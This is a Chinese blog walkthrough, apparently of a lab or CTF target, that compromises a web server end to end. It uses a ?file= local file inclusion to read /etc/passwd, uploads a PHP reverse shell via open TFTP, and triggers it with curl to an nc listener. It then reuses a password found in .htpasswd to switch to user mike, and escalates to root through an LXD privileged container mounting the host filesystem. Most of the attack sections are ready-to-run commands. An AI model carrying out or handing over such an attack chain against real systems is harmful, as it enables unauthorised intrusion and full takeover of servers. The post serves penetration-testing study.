当前位置: 首页 > news >正文

本地文件包含漏洞利用

目录

    • 前期信息收集
    • 获取网站权限
    • 获取服务器权限
    • 纵向提权

前期信息收集

拿到目标的资产,先试一下IP能不能访问
在这里插入图片描述

探测一下目标的端口运行的是什么服务

nmap -sC -sV xx.xx9.95.185 -Pn

在这里插入图片描述

获取网站权限

我们可以知道目标的80端口上运行着http服务,服务器是ubuntu,,中间件是apache/2.4.29,语言可能用的是PHP的,还有一个信息资产

访问信息资产http://xx.xxx.95.185/?file=home.php,发现可以访问
在这里插入图片描述

收集一下这个网站的信息
在这里插入图片描述

点一下这些功能键,看看有什么作用,发现没有什么用
在这里插入图片描述

这下子,我们只能去查一下apache/2.4.29有什么漏洞
在这里插入图片描述

一个个翻,发现他可能存在文件包含和远程命令执行的漏洞

https://www.exploit-db.com/exploits/50383

在这里插入图片描述

试一下POC,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2
在这里插入图片描述

返回了404报错页面,我们试一下其它的POC,/etc/passwd
在这里插入图片描述

说明存在文件包含漏洞,我们看一下能不能读取一下其它的敏感文件

curl 'http://xx.xxx.138.134/?file=home.php'

这个代码能直接在命令行查看网页源代码
http://xx.xxx.138.134/?file=phpinfo.php,是空白的,表示系统上没有这个文件
在这里插入图片描述

我们回过头继续去看/etc/passwd,发现了tftp,这个好像是传输协议,我们去搜索一下
在这里插入图片描述

发现确实是传输协议,而且还是文件传输协议,去搜索一下,看看这个协议之前有没有出过漏洞
http://blog.iis7.com/article/15496.html
这篇文章示例,我们参考一下

tftp使用的是udp协议,默认端口是69,我们使用nmap扫描一下udp端口,看一下

nmap -sU IP地址

在这里插入图片描述

扫描出存在69端口,说明服务器有使用tftp传输协议,前面nmap没有扫描到,是因为前面检测的是TCP的端口,UDP这块没有检测到

我们接下来用tftp软件去连接UDP 69端口,查看一下tftp的帮助文件,了解一下这个简单文件传输协议都有什么命令

apt install tftp
man tftp

在这里插入图片描述

因为tftp协议是不校验账号密码的,所以我们可以直接使用这个协议把木马文件上传上去,我们现在的想法是把shell脚本给上传上去,因为我们前面通过信息收集知道这个服务器有使用php语言的环境,所以我们上传的是PHP语言的木马,下面这个是反向shell木马的部分内容
在这里插入图片描述

$ip指的是我们公网服务器连接内网目标主机的端口IP
$port指的是我们公网服务器运行NC监听的端口
先获取我们的公网服务器IP地址

在这里插入图片描述

在root目录下创建shell.php,并且内容如下
在这里插入图片描述

连接tftp协议,上传反向shell.php脚本
在这里插入图片描述

现在文件上传成功,我们需要在本地开启nc监听端口,接收传回来的信息

nc -lnvp 334

在这里插入图片描述

因为这个网站存在文件包含漏洞,所以我们可以访问我们上传上去的反向shell文件,触发木马文件,以进行连接;我们通过前面的etc/passwd文件,知道我们上传上去的文件是保存在/var/lib/tftpboot

上命令,成功访问到该文件

curl 'http://xx.xxx.95.185/?file=/var/lib/tftpboot/shell.php'

在这里插入图片描述

收到反弹shell
在这里插入图片描述

返回200,说明文件存在
在这里插入图片描述

在shell里面输入命令,查看一下系统文件

ls

在这里插入图片描述

uname -a

查看服务器的操作系统信息
在这里插入图片描述

whoami

看一下我们当前的角色
在这里插入图片描述

我们需要进行提权,但是我们收到命令界面不是完全交互式的,我们输入下面命令,让我们更好操作一点

python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

获取服务器权限

提权的最好方式就是去寻找服务器上有没有存放账号密码的地方,而这个地方通常是web服务器目录下面,通过passwd文件,我们知道web服务器目录存放在var/www,我们去这个目录下面看看
在这里插入图片描述

确实是web目录,我们进入网站源代码下面去看看,发现了一个可能存放账号密码的文件
在这里插入图片描述

我们打开看看

cat .htpasswd

在这里插入图片描述

这是一个网站的账号密码并且通过passwd,我们知道服务器有一个账号名是mike的,并且权限要比www-data大
看一下另外一个隐藏文件夹

cat .htaccess

在这里插入图片描述

一般来说账号的密码都是通用的,我们可以试着登一下服务器mike的账号

su mike

在这里插入图片描述

登录成功
查看一下这个账号的权限和组

id
groups

在这里插入图片描述

纵向提权

lxd是什么,不知道,我们去搜索一下

https://blog.csdn.net/yaxuan88521/article/details/128065158
https://www.freebuf.com/articles/system/216803.html

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

通过网上去了解lxd,我们知道LXD是一个轻量级容器管理程序,这个程序存在漏洞,可以用来提权,我们参考FB复现一波
先从GitHub库下载构建好的Alpine:

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

上面的命令运行完,是下面这个结果
在这里插入图片描述

之后我们需要将tar.gz文件发送至目标系统,我这边选择的是2021版本

python -m http.server

在这里插入图片描述

cd /tmp
wget http://xx.xx.15.157:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz

在这里插入图片描述

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

在这里插入图片描述

使用“list”命令即可检查可用的容器列表

lxc image list

在这里插入图片描述

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Id

在这里插入图片描述

提权成功

cd /mnt/root/root

在这里插入图片描述

cd /mnt/root/

在这里插入图片描述

相关文章:

本地文件包含漏洞利用

目录 前期信息收集获取网站权限获取服务器权限纵向提权 前期信息收集 拿到目标的资产,先试一下IP能不能访问 探测一下目标的端口运行的是什么服务 nmap -sC -sV xx.xx9.95.185 -Pn获取网站权限 我们可以知道目标的80端口上运行着http服务,服务器是u…...

【docker】docker的常用命令

📝个人主页:五敷有你 🔥系列专栏:中间件 ⛺️稳中求进,晒太阳 常规命令 docker version #查看docker 版本信息docker info #显示docker 的系统信息,包括镜像和容器数量docker --help #查看所有的命…...

jmeter实战

jmeter学习 1,接口在定义时,post请求参数尽量放在body里面,get请求参数尽量放在parameters里面,否则会导致jmeter请求接口报错的问题(jmeter底层有较为严格的请求格式) 2,定义全局变量使用:Config Elemen…...

面试官常问问题

1、请你简单的自我介绍一下? 【Tips】① 口述内容不可与简历内容冲突;②阐述方式避免过度官方 且语速较快;③言简意赅,直击要害,抓重点突出项;④面试前应自己模拟练习几次,避免过度紧张导致的口…...

外包就干了2个月,技术退步明显....

先说情况,大专毕业,18年通过校招进入湖南某软件公司,干了接近4年的功能测试,今年年初,感觉自己不能够在这样下去了,长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能测试&#xf…...

面向对象 汇总(详细内容见Day12—16)

面向对象 汇总(详细内容见Day12—16) 文章目录 面向对象 汇总(详细内容见Day12—16)一、概念二、类三、对象四、成员属性/成员变量五、成员方法六、构造方法七、private - 私有化八、封装九、this - 本对象十、分包十一、static -…...

结构体联合体枚举和位段

文章目录 结构体结构体类型的声明特殊的声明 结构的自引用结构体变量的定义和初始化结构体内存对齐为什么要内存对齐结构体传参结构体实现位段(位段的填充&可移植性)位段位段的内存分配空间如何开辟位段的跨平台问题位段的应用 枚举枚举类型的定义枚…...

人类程序员真要失业?首位“AI软件工程师”亮相引爆科技圈

初创公司Cognition成立不到两个月,但已经拥有十名天才工程师。他们推出了一款名为Devin的人工智能(AI)助手,可以协助人类软件工程师完成各种开发任务。Devin与现有的其他AI编码者不同,它能够从头开始构建网站、自动部署…...

redis的过期策略以及内存淘汰机制

redis采用的是定期删除惰性删除策略。 为什么不用定时删除策略? 定时删除,用一个定时器来负责监视key,过期则自动删除。虽然内存及时释放,但是十分消耗CPU资源。在大并发请求下,CPU要 将时间应用在处理请求,而不是删除key,因此没有采用这一策…...

华为数通方向HCIP-DataCom H12-821题库(多选题:161-180)

第161题 以下关于IPv6优势的描述,正确的是哪些项? A、底层自身携带安全特性 B、加入了对自动配置地址的支持,能够无状态自动配置地址 C、路由表相比IPv4会更大,寻址更加精确 D、头部格式灵活,具有多个扩展头 【参考答案】ABD 【答案解析】 第162题 在OSPF视图下使用Filt…...

网络通信与网络协议

网络编程是指利用计算机网络实现程序之间通信的一种编程方式。在网络编程中,程序需要通过网络协议(如 TCP/IP)来进行通信,以实现不同计算机之间的数据传输和共享。在网络编程中,通常有三个基本要素 IP 地址:定位网络中某台计算机端口号port:定…...

【矩阵】240. 搜索二维矩阵 II【中等】

搜索二维矩阵 II 编写一个高效的算法来搜索 m x n 矩阵 matrix 中的一个目标值 target 。该矩阵具有以下特性:每行的元素从左到右升序排列。每列的元素从上到下升序排列。 示例 1: 输入:matrix [[1,4,7,11,15],[2,5,8,12,19],[3,6,9,16,22…...

详解uniapp的生命周期

这篇文章主要介绍了 uniapp 的生命周期, 应用生命周期是指应用程序从启动到关闭的整个过程,包括应用程序的启动、前后台切换、退出等, 需要的朋友可以参考下 Uniapp 作为一款跨平台应用开发框架,具有丰富的生命周期,以下是 Uniapp 的生命周期…...

鸿蒙Harmony应用开发—ArkTS声明式开发(基础手势:PluginComponent)

提供外部应用组件嵌入式显示功能,即外部应用提供的UI可在本应用内显示。 说明: 该组件从API Version 9开始支持。后续版本如有新增内容,则采用上角标单独标记该内容的起始版本。本组件为系统接口。 子组件 无 接口 PluginComponent(value:…...

mysql笔记:15. 事务和锁

文章目录 一、事务概述二、事务基本操作三、事务保存点四、事务的隔离级别1. READ UNCOMMITTED设置事务的隔离级别 2. READ COMMITTED3. REPEATABLE READ4. SERIALIZABLE 五、MySQL的锁InnoDB的锁类型1. InnoDB的行级锁2. InnoDB的表级锁 死锁 在开发过程中,我们经常…...

Learn OpenGL 15 面剔除

面剔除 尝试在脑子中想象一个3D立方体,数数你从任意方向最多能同时看到几个面。如果你的想象力不是过于丰富了,你应该能得出最大的面数是3。你可以从任意位置和任意方向看向这个球体,但你永远不能看到3个以上的面。所以我们为什么要浪费时间…...

EndeavourOs(arch系)安装sunpinyin输入法(ibus) + 迅雷(xunlei-bin)

输入法 yay -S ibus yay -S ibus-libpinyin yay -S ibus-sunpinyin yay -Q ibus ibus-libpinyin ibus-sunpinyin #验证 # 注销然后打开ibus config... # 在Input Method 添加Chinese->SunPinYin # 使用Ctrl Space, 默认Super Space, 请自行修改 # 再次注销,开…...

Spring Cache框架的介绍和使用

Spring Cache spring cache是一个框架,实现类基于注解的缓存功能,只需要简单的加一个注解,就能实现缓存功能,大大简化我们在业务中操作缓存的代码。 spring cache只是提供了一层抽象,底层可以切换不同的cache实现&am…...

perl 用 XML::Parser 解析 XML文件,访问哈希

本篇我们会看到 Perl 成为知名编程语言的关键特色--哈希 hash(2000年以前叫:关联数组)。 在Perl 中,可以使用各种模块和函数来解析 XML元素和属性。其中,最古老的模块是 XML::Parser,它提供了一组完整的X…...

MATLAB中的矩阵和数组,它们之间有什么区别?

MATLAB中的矩阵和数组:概念、区别与联系 MATLAB(Matrix Laboratory,矩阵实验室)作为一款强大的数学软件,广泛应用于工程、科学、数学、计算机科学等领域。在MATLAB中,矩阵和数组是两个核心概念&#xff0c…...

什么是库存周转?如何用进销存系统提高库存周转率?

你可能听说过这样一句话: “利润不是赚出来的,是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业,很多企业看着销售不错,账上却没钱、利润也不见了,一翻库存才发现: 一堆卖不动的旧货…...

Linux-07 ubuntu 的 chrome 启动不了

文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...

Element Plus 表单(el-form)中关于正整数输入的校验规则

目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入&#xff08;联动&#xff09;2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...

【VLNs篇】07:NavRL—在动态环境中学习安全飞行

项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战&#xff0c;克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...

DingDing机器人群消息推送

文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人&#xff0c;点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置&#xff0c;详见说明文档 成功后&#xff0c;记录Webhook 2 API文档说明 点击设置说明 查看自…...

Qt 事件处理中 return 的深入解析

Qt 事件处理中 return 的深入解析 在 Qt 事件处理中&#xff0c;return 语句的使用是另一个关键概念&#xff0c;它与 event->accept()/event->ignore() 密切相关但作用不同。让我们详细分析一下它们之间的关系和工作原理。 核心区别&#xff1a;不同层级的事件处理 方…...

DAY 26 函数专题1

函数定义与参数知识点回顾&#xff1a;1. 函数的定义2. 变量作用域&#xff1a;局部变量和全局变量3. 函数的参数类型&#xff1a;位置参数、默认参数、不定参数4. 传递参数的手段&#xff1a;关键词参数5 题目1&#xff1a;计算圆的面积 任务&#xff1a; 编写一…...

TCP/IP 网络编程 | 服务端 客户端的封装

设计模式 文章目录 设计模式一、socket.h 接口&#xff08;interface&#xff09;二、socket.cpp 实现&#xff08;implementation&#xff09;三、server.cpp 使用封装&#xff08;main 函数&#xff09;四、client.cpp 使用封装&#xff08;main 函数&#xff09;五、退出方法…...

【QT控件】显示类控件

目录 一、Label 二、LCD Number 三、ProgressBar 四、Calendar Widget QT专栏&#xff1a;QT_uyeonashi的博客-CSDN博客 一、Label QLabel 可以用来显示文本和图片. 核心属性如下 代码示例: 显示不同格式的文本 1) 在界面上创建三个 QLabel 尺寸放大一些. objectName 分别…...

从0开始学习R语言--Day17--Cox回归

Cox回归 在用医疗数据作分析时&#xff0c;最常见的是去预测某类病的患者的死亡率或预测他们的结局。但是我们得到的病人数据&#xff0c;往往会有很多的协变量&#xff0c;即使我们通过计算来减少指标对结果的影响&#xff0c;我们的数据中依然会有很多的协变量&#xff0c;且…...